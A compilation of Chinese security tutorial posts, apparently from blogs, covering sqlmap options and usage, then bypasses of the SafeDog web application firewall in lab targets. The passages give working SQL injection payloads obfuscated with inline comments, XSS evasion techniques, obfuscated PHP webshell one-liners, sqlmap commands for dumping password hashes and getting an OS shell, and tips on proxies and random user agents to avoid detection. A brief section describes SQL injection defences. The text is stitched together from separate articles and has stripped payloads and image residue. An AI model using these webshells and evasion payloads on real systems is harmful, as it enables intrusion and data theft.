shell、Meterpreter或VNC --os-bof 存储过程缓冲区溢出利用 --priv-esc 数据库进程用户权限提升 --MSF-path=MSFPATH Metasploit Framework安装的本地路径 --tmp-path=TMPPATH 临时文件目录的远程绝对路径 Windows注册表访问: 这些选项可用于访问后端数据库管理系统的Windows注册表 --reg-read 读取Windows注册表键值 --reg-add 写入Windows注册表键值数据 --reg-del 删除Windows注册表键值 --reg-key=REGKEY Windows注册表键 --reg-value=REGVAL Windows注册表键值 --reg-data=REGDATA Windows注册表键值数据 --reg-type=REGTYPE Windows注册表键值类型 常规: 这些选项可用于设置一些常规工作参数 -s SESSIONFILE 从存储的(.sqlite)文件中加载会话 -t TRAFFICFILE 将所有HTTP流量记录到文本文件中 --abort-on-empty 在结果为空时中止数据检索 --answers=ANSWERS 设置预定义的答案(例如"quit=N,follow=N") --base64=BASE64P.. 包含Base64编码数据的参数 --base64-safe 使用URL和文件名安全的Base64字母表(RFC 4648) --batch 不要询问用户输入,使用默认行为 --binary-fields=.. 具有二进制值的结果字段(例如"digest") --check-internet 在评估目标之前检查互联网连接 --cleanup 从sqlmap特定的UDF和表中清理DBMS --crawl=CRAWLDEPTH 从目标URL开始爬取网站 --crawl-exclude=.. 用于排除爬取的页面的正则表达式(例如"logout") --csv-del=CSVDEL CSV输出中使用的分隔字符(默认值",") --charset=CHARSET 盲SQL注入字符集(例如"0123456789abcdef") --dump-file=DUMP.. 将转储的数据存储到自定义文件中 --dump-format=DU.. 转储数据的格式(CSV(默认值),HTML或SQLITE) --eta 为每个输出显示预计到达时间 --flush-session 清除当前目标的会话文件 --forms 解析和测试目标URL上的表单 --fresh-queries 忽略会话文件中存储的查询结果 --gpage=GOOGLEPAGE 使用指定的页码从Google dork结果中获取 --har=HARFILE 将所有HTTP流量记录到HAR文件中 --hex 在数据检索过程中使用十六进制转换 --output-dir=OUT.. 自定义输出目录路径 --parse-errors 解析和显示来自响应的DBMS错误消息 --preprocess=PRE.. 用于预处理的给定脚本(请求) --postprocess=PO.. 用于后处理的给定脚本(响应) --repair 重新转储具有未知字符标记(?)的条目 --save=SAVECONFIG 将选项保存到配置INI文件中 --scope=SCOPE 用于过滤目标的正则表达式 --skip-heuristics 跳过启发式检测漏洞 --skip-WAF 跳过启发式检测WAF/IPS保护 --table-prefix=T.. 用于临时表的前缀(默认值："sqlmap") --test-filter=TE.. 通过负载和/或标题选择测试(例如ROW) --test-skip=TEST.. 通过负载和/或标题跳过测试(例如BENCHMARK) --time-limit=TIM.. 以秒为单位设置运行时间限制(例如3600) --web-root=WEBROOT Web服务器文档根目录(例如"/var/www") 杂项: 这些选项不属于任何其他类别 -z MNEMONICS 使用短助记符(例如"flu,bat,ban,tec=EU") --alert=ALERT 在发现SQL注入时运行主机操作系统命令 --beep 在提问时和/或发现漏洞时发出蜂鸣声 --dependencies 检查缺失的(可选的)sqlmap依赖项 --disable-coloring 禁用控制台输出着色 --list-tampers 显示可用的篡改脚本列表 --no-logging 禁用日志记录到文件 --offline 在离线模式下工作(仅使用会话数据) --purge 安全地从sqlmap数据目录中删除所有内容 --results-file=R.. 多目标模式下CSV结果文件的位置 --shell 提示进行交互式sqlmap shell --tmp-dir=TMPDIR 用于存储临时文件的本地目录 --unstable 调整不稳定连接的选项 --update 更新sqlmap --wizard 面向初学者用户的简单向导界面 sqlmap基本参数使用以下是sqlmap的一些参数的基本使用，高级用法自行琢磨-u 指定一个urlsqlmap -u 'http://192.168.209.131/Less-1/?id=1'-m 指定一个文件中的多个urlsqlmap -m url.txt逐个扫描url，需要确认就按y。扫描完一个，就会提示是否存在注入点。之后进行第二个url扫描或者使用 -batch默认sqlmap -m url.txt -batch使用–batch参数，可以在所有需要用户输入的部分（通常是询问执行yes还是no，Y/N），执行默认操作，即选项大写的那个，不需要用户再输入--dbms指定该网站数据库类型sqlmap支持的数据库包括且不限于 MySQL Oracle PostgreSQL Microsoft SQL Server Microsoft Access IBM DB2 SQLite Firebird Sybase SAP MaxDB sqlmap默认情况下会自动检测Web应用程序的后端数据库的类型。在我们明确知道测试的数据库类型时，可以使用--dbms可以指定数据库。sqlmap -u 'http://192.168.209.131/Less-1/?id=1' -p 'id' --dbms='mysql'--current-db获取网站当前使用的数据库sqlmap -u 'http://192.168.209.131/Less-1/?id=1' -p 'id' --dbms='mysql' --current-db-b获取数据库版本sqlmap -u 'http://192.168.209.131/Less-1/?id=1' -p 'id' -b--current-user获取当前用户sqlmap -u 'http://192.168.209.131/Less-1/?id=1' -p 'id' -dbms='mysql' --current-user--users 获取所有用户sqlmap -u 'http://192.168.209.131/Less-1/?id=1' -p 'id' -dbms='mysql' -users--passwords 获取用户密码sqlmap -u 'http://192.168.209.131/Less-1/?id=1' -p 'id' -dbms='mysql' --passwords得到结果--privileges获取用户权限sqlmap -u 'http://192.168.209.131/Less-1/?id=1' -p 'id' -dbms='mysql' --privileges最后面显示每个数据库用户所拥有的权限。这里root的权限最多，很明显它就是数据库的管理员账号。判断当前数据库是否是管理员账号（这里不知道为什么显示为False，前面使用privileges明明root权限最多）sqlmap -u 'http://192.168.209.131/Less-1/?id=1' -p 'id' -dbms='mysql' --is-dba列出指定/所有的数据--dbs列出所有的数据库sqlmap -u 'http://192.168.209.131/Less-1/?id=1' -p 'id' --dbs指定数据库/表/字段-D 指定目标「数据库」，单/双引号包裹，常配合其他参数使用。-T 指定目标「表」，单/双引号包裹，常配合其他参数使用。-C 指定目标「字段」，单/双引号包裹，常配合其他参数使用。sqlmap -u 'http://192.168.209.131/Less-1/?id=1' -p 'id' -D 'security' -T 'users' -C 'username' --dump--tables 列出指定数据库中所有的表sqlmap -u 'http://192.168.209.131/Less-1/?id=1' -p 'id' -dbms='mysql' -D security --tables--columns 列出指定数据库中的表的全部列sqlmap -u 'http://192.168.209.131/Less-1/?id=1' -p 'id' -dbms='mysql' -D security -T users --columns--schema 枚举DBMS模式获取字段类型，可以指定库或指定表。不指定则获取数据库中所有字段的类型。--dump 转储DBMS数据库表条目（当前数据库/表/列中的所有内容）--dump-all 转储所有DBMS数据库表条目（爆出整个mysql数据库的数据内容）--hostname获取主机名称sqlmap -u 'http://192.168.209.131/Less-1/?id=1' -p 'id' -dbms='mysql' --hostnamepost注入，要求使用burp suite抓包，将这个包中的信息，保存到一个txt文件中-r指定需要检测的文件sqlmap -r bp.txt--cookie 指定cookie信息，模拟用户登录sqlmap -u 'http://192.168.209.131/Less-1/?id=1' -p 'id' --cookie='cookie'-a 等同于 -all 获取所有能获取的内容，会消耗很长时间。sqlmap -u 'http://192.168.209.131/Less-1/?id=1' -p 'id' -a--search 搜索数据库中是否存在指定库/表/字段，需要指定库名/表名/字段名。比如我需要搜索security这个数据库模糊搜索一个表名sqlmap -u 'http://192.168.209.131/Less-1/?id=1' -p 'id' -dbms='mysql' -T 'ser' --search这里有两个选项，选项一表示根据关键字模糊搜索，选项二表示精准搜索搜索结果精准搜索某一个表名sqlmap -u 'http://192.168.209.131/Less-1/?id=1' -p 'id' -dbms='mysql' -T 'users' --search当然也可以指定 -D 数据库，-C 字段搜索使用--flush-session参数表示清除当前目标的会话文件。 sqlmap在测试某一目标URL后会生成session文件，该文件保存了本次测试的结果信息。当我们再次测试该目标URL时，会自动加载上一次的结果就比如我们已经绕过了某个WAF，并且取得了数据结果sqlmap -u 'http://192.168.209.131/Less-1/?id=1' -p 'id' --tamper "bypassDog2.py" --level 5 --random-agent --dump -batch此时我们不使用脚本，使用普通的一个payload，这个时候就直接出结果了sqlmap -u 'http://192.168.209.131/Less-1/?id=1' -p 'id'如果我们想要继续之前的测试，包含WAF的测试过程就需要使用清除缓存--flush-session，一切正常--technique 使用方法：sqlmap -u URL --technique 注入类型选项（可多种组合） 使用--flush-session参数可用于指定要测试的SQL注入类型，默认情况下，sqlmap会测试所有的注入类型。如果想指定测试某几种诸如类型，可以使用--technique指定。sqlmap针对每一种类型，提供了字母选项，可以组合字母选项来指定多种注入类型进行测试。备注：注入类型对应的参数 B：基于布尔的盲注 E：基于错误 U：基于联合查询 S：堆叠查询 T：基于时间的盲注 Q：内联查询 使用示例：sqlmap -u URL --technique BE表示仅测试布尔盲注和基于报错的注入。默认为BEUSTQ没有设置ua头的时候，默认是sqlmap的请求头，很容易被网站检测到sqlmap -u 'http://192.168.3.100:88/Less-1/?id=1' -p 'id' -v 6--random-agent 使用方法：sqlmap -u URL --random-agent 使用--random-agent参数可以指定随机选择请求头中的User-Agent。 sqlmap默认使用sqlmap/1.0-dev-xxxxxxx (http://sqlmap.org) 作为User-Agent执行HTTP请求，如下：sqlmap -u 'http://192.168.3.100:88/Less-1/?id=1' -p 'id' --random-agent -v 6--user-agent使用方法：sqlmap -u URL --user-agent="自定义User-Agent" 使用--user-agent参数可指定自定义User-Agent--mobile #模拟手机请求使用手机UA头的模拟，并根据提示选择模拟的手机类型--level 使用方法：Python sqlmap.py -u URL --level 等级 使用--level参数可指定payload测试复杂等级。共有五个级别，从1-5，默认值为1。等级越高，测试的payload越复杂，当使用默认等级注入不出来时，可以尝试使用–level来提高测试等级。--os-shell这个参数使用之前必须确保网站的mysql允许文件读写的路径不为NULL，登录你的mysqlmysql>show global variables like "secure_file_priv";解决办法在mysql目录中找到my.ini，添加如下内容，然后重启mysql重启之后这里我们假设已经知道了网站的目录为：E:phpstudy_proWWWsqliLess-2sqlmap -u 'http://192.168.209.131/Less-1/?id=1' -p 'id' -dbms='mysql' --os-shell尝试执行命令，执行成功--web-root指定网站目录sqlmap -u 'http://192.168.209.131/Less-1/?id=1' -p 'id' -dbms='mysql' --web-root='E:phpstudy_proWWWsqliLess-2' --os-shell这样我们就不用在交互式选项中输入网站路径了，直接得到shell安全狗WAF绕过网站使用的是sqli靶场进行测试http://192.168.209.131/Less-2/?id=1%27%20and%201=1安全狗waf环境，payload示例sqlmap -u 'http://192.168.209.131/Less-1/?id=1' -p 'id' --level 5 --random-agent --flush-session --dump提示我们有waf拦截--identify-waf 识别waf，貌似不能用了sqlmap自带的WAF绕过--skip-waf脚本使用，将脚本传入到这个路径bypassDog2.py（攻击脚本具有危害性，作者不予提供，以下仅供参考，也可以使用kali自带的sqlmap攻击脚本进行测试）/usr/share/sqlmap/tamper/指定脚本--tamper "bypassDog.py"一个完整sqlmap使用脚本示例sqlmap -u 'http://192.168.209.131/Less-1/?id=1' -p 'id' --tamper "bypassDog2.py" --level 5 --random-agent --dump当然，如果网站使用了ip封禁机制，可以使用代理或者代理池sqlmap -u 'http://192.168.209.131/Less-1/?id=1' -p 'id' --tamper "bypassDog2.py" --level 5 --random-agent --proxy='http://xxx.xxx.xxx.xxx:端口号' --dumpsql注入的预防1. 使用参数化查询（Prepared Statements）参数化查询是预防SQL注入的最有效方法之一。通过将SQL代码和查询参数分开，可以防止恶意SQL代码的执行。大多数现代数据库接口都支持参数化查询。示例（Python 使用 psycopg2 连接 PostgreSQL）：import psycopg2 # 连接数据库 conn = psycopg2.connect("dbname=test user=postgres") cur = conn.cursor() # 使用参数化查询 user_input = "O'Reilly" # 尝试注入的输入 cur.execute("SELECT * FROM users WHERE username = %s", (user_input,)) rows = cur.fetchall() for row in rows: print(row) cur.close() conn.close()示例（PHP 使用 PDO）：<?php $host = '127.0.0.1'; $db = 'test'; $user = 'root'; $pass = ''; $charset = 'utf8mb4'; $dsn = "mysql:host=$host;dbname=$db;charset=$charset"; $options = [ PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION, PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC, PDO::ATTR_EMULATE_PREPARES => false, ]; try { $pdo = new PDO($dsn, $user, $pass, $options); $user_input = "O'Reilly"; // 尝试注入的输入 $stmt = $pdo->prepare("SELECT * FROM users WHERE username = :username"); $stmt->execute(['username' => $user_input]); $result = $stmt->fetchAll(); print_r($result); } catch (PDOException $e) { throw new PDOException($e->getMessage(), (int)$e->getCode()); } ?>2. 使用ORM（对象关系映射）ORM框架如Hibernate、Django ORM等，内部实现了参数化查询，从而自动防止SQL注入。使用ORM可以简化数据库操作，同时提高安全性。示例（Django ORM）：from myapp.models import User user_input = "O'Reilly" # 尝试注入的输入 users = User.objects.filter(username=user_input) for user in users: print(user.username)3. 严格限制数据库权限确保数据库用户只拥有执行其所需操作的最小权限集。例如，一个Web应用程序的用户数据库账户可能只需要对特定表的SELECT和UPDATE权限，而不需要对数据库的DROP或ALTER权限。4. 使用Web应用防火墙（WAF）部署Web应用防火墙可以检测和阻止SQL注入攻击。WAF可以识别并拦截包含潜在恶意SQL代码的HTTP请求。5. 输入验证虽然输入验证不是防止SQL注入的可靠方法（因为它可能无法覆盖所有可能的注入场景），但它可以作为额外的安全层。验证所有用户输入，确保它们符合预期的格式和类型。总结通过本文的学习，读者不仅掌握了sqlmap的基本使用方法，还深入了解了其高级特性和绕过技巧。从目标URL的指定、请求参数的配置，到注入技术的选择、数据库信息的枚举，再到操作系统命令的执行，sqlmap展现出了其作为渗透测试工具的强大功能和灵活性。在实际应用中，sqlmap能够帮助安全研究人员和渗透测试人员快速发现Web应用程序中的SQL注入漏洞，并通过进一步的枚举和分析，揭示潜在的安全风险。同时，通过合理的配置和技巧应用，sqlmap还能有效绕过WAF等安全防护措施，提高渗透测试的成功率。然而，值得注意的是，sqlmap作为一款强大的渗透测试工具，其使用必须遵守法律法规和道德规范。未经授权的渗透测试可能构成非法行为，因此在使用sqlmap进行渗透测试时，务必确保已获得合法授权，并遵守相关安全政策和标准。总之，sqlmap是安全研究和渗透测试中不可或缺的工具之一。通过本文的学习，读者不仅能够掌握其基本和高级用法，还能在实际操作中灵活运用，提高渗透测试的效率与成功率，为Web应用程序的安全防护贡献力量。文章参考：https://blog.csdn.net/weixin_43819747/article/details/136736688https://blog.csdn.net/qq_45927266/article/details/119297840原文：https://mp.weixin.qq.com/s/j6lN3j7rtALUX4gAH5ll3Q
基础篇：https://mp.weixin.qq.com/s/od0djMG4iwO755N2YgDAHg环境搭建首先去官网下载安全狗，进行网站配置，或者后台回复【安全狗】，靶场源码和WAF软件都准备好了，都是最新版本的，直接下载就行安全狗配置文件防护规则这里用upload-labs中的第六关进行文件上传测试第六关是在文件后缀添加一个空格就可以上传成功WAF环境已搭好WAF绕过基于文件名称的绕过%00截断首先上传一个php文件，抓包文件后面添加;.jpg将;的hex编码替换为00，造成00截断，如下效果知识扩展%00截断是一种在文件上传或URL处理过程中常见的安全绕过技术，它利用了某些编程语言或系统在处理字符串时的一个特性：即当遇到空字符（null character，ASCII码为0，即�或%00在URL编码中）时，会认为字符串已经结束，从而忽略了空字符之后的所有内容。可以看到，虽然绕过了WAF还是有代码红色警告没有上传成功，这个时候我们就可以在原来有代码漏洞的情况下，进行绕过，原来代码存在空格绕过，这里我们就用空格进行绕过，添加一个空格上传成功，点击查看源码，就可以看到文件上传的位置（这个图片的位置）多个等号这个操作就更简单了，直接在文件名的位置把一个等于换成多个等于，也能绕过WAF，此时再在末尾加空格，直接成功上传，如下哈哈，没有成功，原文是这样写的，可能已经修复了基于内容拦截绕过此时我们访问，这个php文件被拦截了，这就是基于内容的拦截，像经常使用的一句话木马都会被安全狗绕过[1].畸形传参木马这里要用到hackerbox谷歌插件或者使用火狐浏览器，默认下载不是破解的，我准备好了破解版本，后台私信【hackbox】即可<?php $a = $_GET['x']; $$a = $_GET['y']; $b($_POST['z']);//调用 $b 变量所引用的函数，并将 $_POST['z'] 的值作为参数传递给它。 ?>我们所使用的一句话木马是市面上最为常见的类型，因此几乎所有的WAF（Web应用防火墙）都能识别并拦截这段内容。这正是导致我们上传后无法访问的根本原因。为了验证这一点，你可以尝试开启安全狗的木马扫描功能，看看它是否能被检测出来，从而判断其是否具备免杀能力。上图可以看到并没有检测到，用get方式传如参数x和y，值分别为b和assert ，再用POST方式传如参数z，值为自己想执行的命令[2].经典编码木马通过assert函数的base64编码后的拼接即可绕过，如下：<?php $e=base64_decode("hellow小羽网安"); $e($_POST['aa']); ?>免杀情况我们将中文放在了后面，此时出现拦截我放在前面试试，还是拦截穿插进去，就可以了，不知道是什么原理，php特性、base64编码检测，还是安全狗防护机制，有大佬路过指教一下，谢谢你执行成功上面的绕过方式不可避免都有一些问题，那就是传参时使用了敏感关键字，比如phpinfo()之类的，有一些防火墙就会检测传入的参数是否含有敏感内容(例如宝塔)，那这时候我们怎么办呢？我们可以把传参使用的敏感关键字变成其他编码格式，比如base64，再在一句话木马中对传入的参数先做一个解码操作，如下在木马中添加解码操作<?php $e=base64_decode("YX小羽网安NzZ公众号XJ0"); $e(base64_decode($_POST['aa'])); ?>这个时候我们就可以将phpinfo拿去base64进行加密这个时候就可以执行php代码了，绕过了关键字的检测其他失败案例参考复写失败脏数据绕过失败修改为单引号失败去掉双引号失败.php放到引号的外面上传成功，但是并没有这个php文件查看上传之后的文件，并不是php文件那不加后缀试试，显示文件内容，并没有执行所以使用蚁剑也连接不了数据截断绕过-防匹配(; / 换行)失败参数多次失败总结本教程通过实际搭建环境，展示了文件上传中WAF的多种绕过技巧，包括%00截断、畸形传参木马、经典编码木马等。尽管部分绕过方法因WAF更新而失效，但实验过程揭示了安全机制与绕过技术的博弈。通过不断尝试与创新，攻击者总能找到新的突破点，而防御方则需持续更新策略以应对新威胁。这强调了持续安全监测与加固的重要性。网安学习不迷路，欢迎各位大佬加入讨论
XSS 基础：Web安全中的XSS攻击详细教学，XSS-Labs靶场通关全教程（建议收藏）（一）、Web安全中的XSS攻击详细教学（二）--已完结如果懒得找靶场和安全狗防火墙后台回复【靶场】即可获取image-20240722161008610复现网站安全狗最新 v4.0 已经准备好image-20240722104320515这里用 XSSlab 进行 WAF 绕过测试image-20240722102257861还是一样安全狗 WAF 测试http://192.168.209.149/level1.php?name= image-20240722102220534基础 payloadphp<?phpecho " ";?>img css formXSS利用方式1 XSS利用方式2 input iframe 经过测试以上内容皆执行不了，但是还有一个svg没测试svg！成功了一个，看来 v4.0 的安全狗没有对 svg 进行防护，payload 如下 image-20240722103703228常见的 WAF 绕过 payload1.大小写绕过 image-202407221300440002、双写绕过image-202407221309172023、imgimage-202407221309530464、onmouseover 事件当用户鼠标移动时即可运行代码 image-20240722131108228当用户鼠标在这个块上面时即可运行（可以配合 weight 等参数将 div 覆盖页面，鼠标不划过都不行）image-202407221313538565、onclick 事件buttonimage-202407221317099956、onload 事件例如 之前已经测试过了，svg 的 onoad 事件可以7、编码脚本绕过关键字image-202407221322232148、主动闭合标签实现注入代码image-202407221341403009、绕过 HTML 注释符image-2024072213461653010、利用换行符绕过image-2024072213474591411、绕过右标签image-2024072213480705012、绕过</内容>image-20240722134857902字典爆破image-20240722135712030这个时候直接一个一个去访问即可image-20240722141703806这里我们找到一个 iframe 的 payload，尝试访问，成功加载，但是看源码，标签没有闭合image-20240722141540870我们在 url 中闭合这个标签，就可以了image-20240722141917556绕过思路一、更改提交方式在默认配置下，为了节省资源，许多 WAF 只会对 GET 请求进行过滤拦截，而忽略了对 POST 请求、Cookie、HTTP Header 等其他提交方式的检测。因此，攻击者可以尝试更改有害语句的提交方式，如将 GET 请求修改为 POST 请求，或者通过 Cookie、HTTP Header 等方式提交恶意脚本，以绕过 WAF 的拦截。二、混淆伪装绕过混淆伪装是一种常见的绕过 WAF 的手段，攻击者通过编码、大小写混淆、双写、转义字符等方式对恶意脚本进行伪装，使其绕过 WAF 的关键词过滤规则。例如，将 JavaScript 代码中的关键字进行大小写混淆（如三、标签和事件函数变换XSS 攻击主要是通过触发 HTML 标签中的事件函数来执行恶意脚本。因此，WAF 会重点识别能够触发事件函数的 HTML 标签和事件函数字段。攻击者可以尝试使用其他可以执行 JavaScript 代码的 HTML 标签（如 , , 等）替换常用的四、利用 WAF 的缺陷和配置不当「增加 WAF 负担」：有些 WAF 在处理大量数据时可能会降低检测精度或放弃检测部分数据包。攻击者可以通过向 WAF 发送大量正常数据包并夹杂异常数据包的方式，增加 WAF 的负担，从而绕过 WAF 的检测。「利用 WAF 配置不当」：WAF 的配置可能存在漏洞或不当之处，如只检测部分参数、忽略某些类型的请求等。攻击者可以通过分析 WAF 的配置规则，构造绕过 WAF 检测的请求。「旁站绕过」：在某些情况下，网站管理员可能只对主站进行了 WAF 防护，而忽略了旁站或子域名的防护。攻击者可以尝试通过旁站或子域名绕过 WAF 的防护。五、使用自动化工具自动化工具如XSStrike 等可以帮助攻击者自动测试 WAF 的防护效果，并生成绕过 WAF 的 payload。这些工具通常包含多种绕过 WAF 的技巧和策略，可以显著提高攻击的成功率。❝XSStrike 开源地址：https://github.com/s0md3v/XSStrike❞六、其他技巧「利用伪协议」：某些 HTML 属性支持伪协议（如JavaScript: ），攻击者可以利用这些属性执行恶意脚本。「利用 CSS 跨站」：在某些情况下，攻击者可以利用 CSS 中的某些特性（如expression() ）执行 JavaScript 代码。「利用全局变量和函数」：JavaScript 中的全局变量和函数（如eval() , window.onload 等）可以在不直接引用脚本标签的情况下执行代码，攻击者可以尝试利用这些变量和函数绕过 WAF 的防护。七、举例这里我就拿标签事件函数变换来举例、首先判断标签名称，是否可用比如iframe ，它可以正常访问，说明 标签没有进行过滤http://192.168.209.149/level1.php?name= image-20240722143819570标签没有进行过滤，尝试闭合这个标签，ok 正常访问image-20240722144155301判断属性 src，好没有过滤image-20240722144230962加了个= 就被拦截了，这时候没法继续了，换个事件试试image-20240722144259675image-20240722144611518这里拿 onload 尝试image-20240722144645731❝需要注意的是，以上绕过 WAF 的思路和技巧仅供学习和研究网络安全使用，不得用于非法攻击和破坏活动。在实际应用中，网站管理员和 WAF 开发者应不断更新和完善 WAF 的防护策略，提高网站的安全性。❞SQL 注入 WAF 绕过文章参考：SQL注入绕过某狗的waf防火墙，这一篇就够了，6k文案超详细、SQL注入某狗WAF绕过（补充）
安全狗WAF绕过系列一、WAF概述WAF（Web应用防火墙）作为一种专为Web应用程序设计的安全防护工具，其核心功能在于通过实施一系列针对HTTP/HTTPS协议的安全策略，来增强Web应用的安全性。WAF内置了精心设计的检测逻辑与规则集，这些规则旨在对每一个进入系统的请求内容进行细致审查，并对任何违反安全策略的请求采取即时且有效的防御措施，从而维护Web应用环境的纯净与安全。二、WAF工作机制详解WAF的工作流程精心构建，涵盖四个关键环节：预处理、规则匹配、响应处理以及日志记录，共同编织成一张紧密的安全防护网。 预处理阶段：此阶段，WAF首先担任起“守门人”的角色，对所有进入的数据请求流量进行初步筛选，确认其是否遵循HTTP/HTTPS协议标准。紧接着，WAF会利用预设的白名单机制，快速识别并放行那些已知安全或信任的URL请求，直接引导它们进入后端Web服务器进行处理。对于未能通过白名单验证的请求，WAF则进一步深入，对其数据包进行精细解析，为后续的安全检测做准备。 规则匹配阶段：此为核心环节，WAF利用其内置的强大规则引擎，对经过解析的数据包进行深度扫描与匹配。这些规则覆盖了广泛的攻击场景与模式，包括但不限于SQL注入、跨站脚本（XSS）、命令注入等常见Web安全威胁。通过这一过程，WAF能够精准识别出潜在的恶意请求，为后续的安全响应奠定坚实基础。 响应处理阶段：基于规则匹配的结果，WAF的响应处理模块将采取针对性的防御措施。对于符合安全规则的请求，WAF会毫无阻碍地将其转发至后端Web服务器，确保用户请求得到及时响应。而对于那些被判定为恶意或异常的请求，WAF则展现出其防御实力，通过阻断请求、记录日志或触发告警等多种方式，有效遏制潜在的安全风险，保护Web应用免受侵害。 三、常见的WAF绕过姿势常见的WAF（Web应用防火墙）绕过姿势包括但不限于以下几种： 提交方式变换：许多WAF默认配置下主要对GET请求进行过滤，而忽略POST请求、Cookie、HTTP头等其他提交方式。因此，可以尝试将攻击载荷通过不同的提交方式进行发送，以绕过WAF的检测。 大小写替换和编码绕过：利用WAF规则可能不区分大小写或无法完全解析编码后的攻击载荷，通过将攻击语句中的关键字进行大小写替换或使用URL编码、Base64编码等方式进行编码，以绕过WAF的过滤规则。 事件函数变换：WAF会重点识别触发JavaScript代码执行的事件函数字段，如onclick。通过变换事件函数名称或利用其他不常见的事件函数，可以尝试绕过WAF的识别。 注释符和内联注释：使用SQL注释符（如--、#）或HTML/JavaScript注释（如 、//）来绕过WAF对特定关键字的过滤。有时，将攻击载荷与注释符结合使用，可以欺骗WAF使其忽略部分攻击载荷。 分片传输：通过调整HTTP请求中的Content-Length头部，将攻击载荷分成多个部分发送，可能导致WAF无法完整解析请求内容，从而绕过检测。 利用WAF软肋：WAF在部署时可能因性能考虑而留下一些软肋，如对某些特殊字符或组合的检测不够严格。通过分析和测试WAF的行为，可能发现并利用这些软肋进行绕过。 爬虫白名单绕过：部分WAF提供爬虫白名单功能，通过伪装成爬虫（修改User-Agent或模拟爬虫行为）可能绕过WAF的检测。 高并发流量攻击：通过发送大量垃圾数据或高并发请求，使WAF设备进入Bypass IPS模式或达到性能极限，从而暂时或永久性地绕过WAF的防护。 请注意，上述绕过姿势仅供安全研究和教育目的使用。未经授权的渗透测试和网络攻击是非法行为，可能会对个人和组织造成严重的法律后果。在进行任何渗透测试之前，请确保已获得合法授权。四、安全狗绕过姿势环境：phpstudy—apache2.4.39安全狗官网v4.0下载（应该是最新版）：https://www.safedog.cn/website_safedog.html当然如果需要套件，我都给你准备好了关注后台回复【安全狗】即可获取，感谢宝子们一直以来的关注在开始之前，如果没有SQL注入基础的的童鞋，还请观看我的另外一篇文章，1w字超详细解析。以下内容皆使用sqli第一关进行测试测试 id=1' and 1=1http://192.168.209.131/Less-1/?id=-1' and 1=1在之前的尝试中，我们发现直接使用“and 1=1”这种方法似乎并不奏效，这很可能是因为安全狗系统识别并过滤了“and”这个词。为了更深入地了解安全狗是如何识别并拦截这类操作的，我们可以尝试将“and 1=1”进行拆分http://192.168.10.129:8080/sqli/Less-1/?id=1' and --+ http://192.168.10.129:8080/sqli/Less-1/?id=1' 1=1 --+发现两个页面均返回SQL语法错误，这表明安全狗不会单独过滤‘and’或‘1=1’。我推测它可能是识别到‘and’后紧跟空格和字符的模式。为了验证这一点，我决定进行实验。http://192.168.10.129:8080/sqli/Less-1/?id=1' and1--+ http://192.168.10.129:8080/sqli/Less-1/?id=1' and 1--+实验结果，证实了确实是and+空格+字符串的格式会被拦截。这里我们就可以开始尝试利用注释符、回车符%0a等来代替空格进行绕过了！！在此输入：http://192.168.10.129:8080/sqli/Less-1/?id=1' and/**/1=1--+发现依旧不行，打开burp suite，拦截下我们阻截的包，添加$payload到我们测试的注释符中然后点击发送到intruder模块，选择如下：然后，点击pyload，选择暴力破解（Brute forcer）：attack，开始攻击，安全狗有流量攻击的防御，后面可能会被拦截，解决办法直接重启apache服务器。好了这里测试完成了，点击length更改默认排序，我们拿每个请求成功payload（检查response即可查看是否成功，如果用户名正常显示，说明该字符payload安全狗没有进行拦截）。我们随便娶一个/!*得到payload和注释符拼接/*/!**/，这个时候and和后面的1=1之间用这个拼接的符号进行连接即可http://192.168.209.131/Less-1/?id=1' and/*/!**/1=1 --+可以绕过了order by测试，我们用之前的测试结果，利用/*/!**/这一个充当空格，测试order by 3，然后看看能否成功？http://192.168.209.131/Less-1/?id=1' order/*/!**/by 3 --+完美，接下来测试联合注入。普通测试union select：http://192.168.209.131/Less-1/?id=1' union select --+union关键字测试，有回显http://192.168.209.131/Less-1/?id=1' union --+select关键字测试，有回显http://192.168.209.131/Less-1/?id=1' select --+已知安全狗WAF对联合注入的拦截规则是识别到union select字符串。为了探索是否能利用注释符绕过这一规则，我决定采用与之前相同的方法，利用Burp进行抓包，并加强fuzz测试中的参数进行暴力破解尝试。随便选择几个1002长度的响应结果这里我们选择payload，取/!*!/，构造注释符+payload，为/*/!*!/*/，插入union和select之间，绕过成功http://192.168.5.64/Less-1/?id=1' union/*/!*!/*/select 1,2,3 --+这里还有一个思路，可以利用--+%0a这种格式通过换行继续执行，这里我们试一下看看：Tips：我的另一篇SQL注入文章有写过%0a的作用，后台回复【SQL注入】【sql】等关键字即可查看http://192.168.5.64/Less-1/?id=-1%27%20union/*!--+/*%0aselect%201,database(),3*/%20--+ 相当于在普通sql语句中的 http://192.168.5.64/Less-1/?id=-1' union/*!--+/* select 1,database(),3*/ --+尝试报数据库http://192.168.5.64/Less-1/?id=-1' union/*/!*!/*/select 1,database(),3 --+发现database()被拦截了我们把database的()给去掉http://192.168.5.64/Less-1/?id=-1' union/*/!*!/*/select 1,database,3 --+报错，此时就可以确定，安全狗应该是将database()进行检测然后我们继续使用注释符或者内联注释符看看吧：继续采用burp的fuzz测试：添加上变量扫出来4个/可以用，最简单的和之前一样，就不强调了，取注释符+payload，构造payloadhttp://192.168.5.64/Less-1/?id=-1' union/*/!*!/*/select 1,database/*////*/(),3 --+成功了！接下来一个一个关键词测试，group_concat()http://192.168.5.64/Less-1/?id=-1' union/*/!*!/*/select 1,database/*////*/(),group_concat(table_name) --+没有拦截，继续fromhttp://192.168.5.64/Less-1/?id=-1' union/*/!*!/*/select 1,database/*////*/(),group_concat(table_name) from --+informtion_schema.tables，结果就不行了http://192.168.5.64/Less-1/?id=-1' union/*/!*!/*/select 1,database/*////*/(),group_concat(table_name) from informtion_schema.tables --+测试%0ahttp://192.168.209.131/Less-1/?id=-1%27%20union/*/!*!/*/select%201,database/*////*/(),group_concat(table_name)%20from%20/*!--%20/*%0ainformation_schema.tables*/ 相当于 http://192.168.209.131/Less-1/?id=-1' union/*/!*!/*/select 1,database/*////*/(),group_concat(table_name) from /*!-- /* information_schema.tables*/测试查当前数据库的表名，前面已经测试过database()了http://192.168.209.131/Less-1/?id=-1%27%20union/*/!*!/*/select%201,database/*////*/(),group_concat(table_name)%20from%20/*!--%20/*%0ainformation_schema.tables*/where%20table_schema=database/*////*/()%20--+ 相当于 http://192.168.209.131/Less-1/?id=-1' union/*/!*!/*/select 1,database/*////*/(),group_concat(table_name) from /*!-- /* information_schema.tables*/where table_schema=database/*////*/() 